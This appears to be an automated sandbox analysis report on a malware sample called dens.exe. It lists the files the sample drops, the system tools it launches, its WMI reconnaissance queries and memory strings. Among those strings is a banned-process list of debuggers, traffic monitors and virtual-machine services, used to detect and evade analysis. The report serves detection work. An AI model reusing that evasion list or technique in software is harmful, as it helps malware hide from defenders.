Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_http_writer.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\multidict\_multidict.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_helpers.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\_multiprocessing.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt			Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI62482\wheel-0.43.0.dist-info\LICENSE.txt			Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc query type= service state= all

Source: C:\Users\user\Desktop\dens.exe

Code function: 0_2_00007FF62C0F76C0 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

0_2_00007FF62C0F76C0

Source: C:\Users\user\Desktop\dens.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Caption, Description, ProviderName FROM Win32_LogicalDisk

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Caption, Command FROM Win32_StartupCommand

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "FIDDLER.EXE"P
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: *DXENSERVICE.EXE0
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: QEMU-GA.EXE
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "QEMU-GA.EXE"
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "QEMU-GA.EXE"P
Source: dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELF.BANNED_PROCESS = ["HTTP TOOLKIT.EXE", "HTTPDEBUGGERUI.EXE","WIRESHARK.EXE", "FIDDLER.EXE", "REGEDIT.EXE", "TASKMGR.EXE", "VBOXSERVICE.EXE", "DF5SERV.EXE", "PROCESSHACKER.EXE", "VBOXTRAY.EXE", "VMTOOLSD.EXE", "VMWARETRAY.EXE", "IDA64.EXE", "OLLYDBG.EXE",
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "SBIEDLL.DLL"
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "VMUSRVC.EXE"
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DVMUSRVC.EXE
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 'DPROCESSHACKER.EXE
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "XENSERVICE.EXE"
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: *DXENSERVICE.EXE
Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2033261544.000002D9AC179000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "XENSERVICE.EXE", # XEN
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DSBIEDLL.DLL
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DFIDDLER.EXE0
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DQEMU-GA.EXEP
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DWIRESHARK.EXE
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMUSRVC.EXE
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "WIRESHARK.EXE"
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "PROCESSHACKER.EXE"
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DOLLYDBG.EXE
Source: dens.exe, 00000001.00000003.1954169257.000002D9AC3C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "DF5SERV.EXE", "PROCESSHACKER.EXE", "VBOXTRAY.EXE", "VMTOOLSD.EXE", "VMWARETRAY.EXE", "IDA64.EXE", "OLLYDBG.EXE",
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "OLLYDBG.EXE"
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "FIDDLER.EXE"
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: XENSERVICE.EXE
Source: dens.exe, 00000001.00000003.1772883134.000002D9AB3F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\SYSTEM32\SBIEDLL.DLLP\_MEI62482\SBIEDLL.DLL
Source: dens.exe, 00000001.00000003.2030100732.000002D9AC3C2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1775186095.000002D9AC3C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034026381.000002D9AC3C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1954169257.000002D9AC3C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "FIDDLER.EXE",
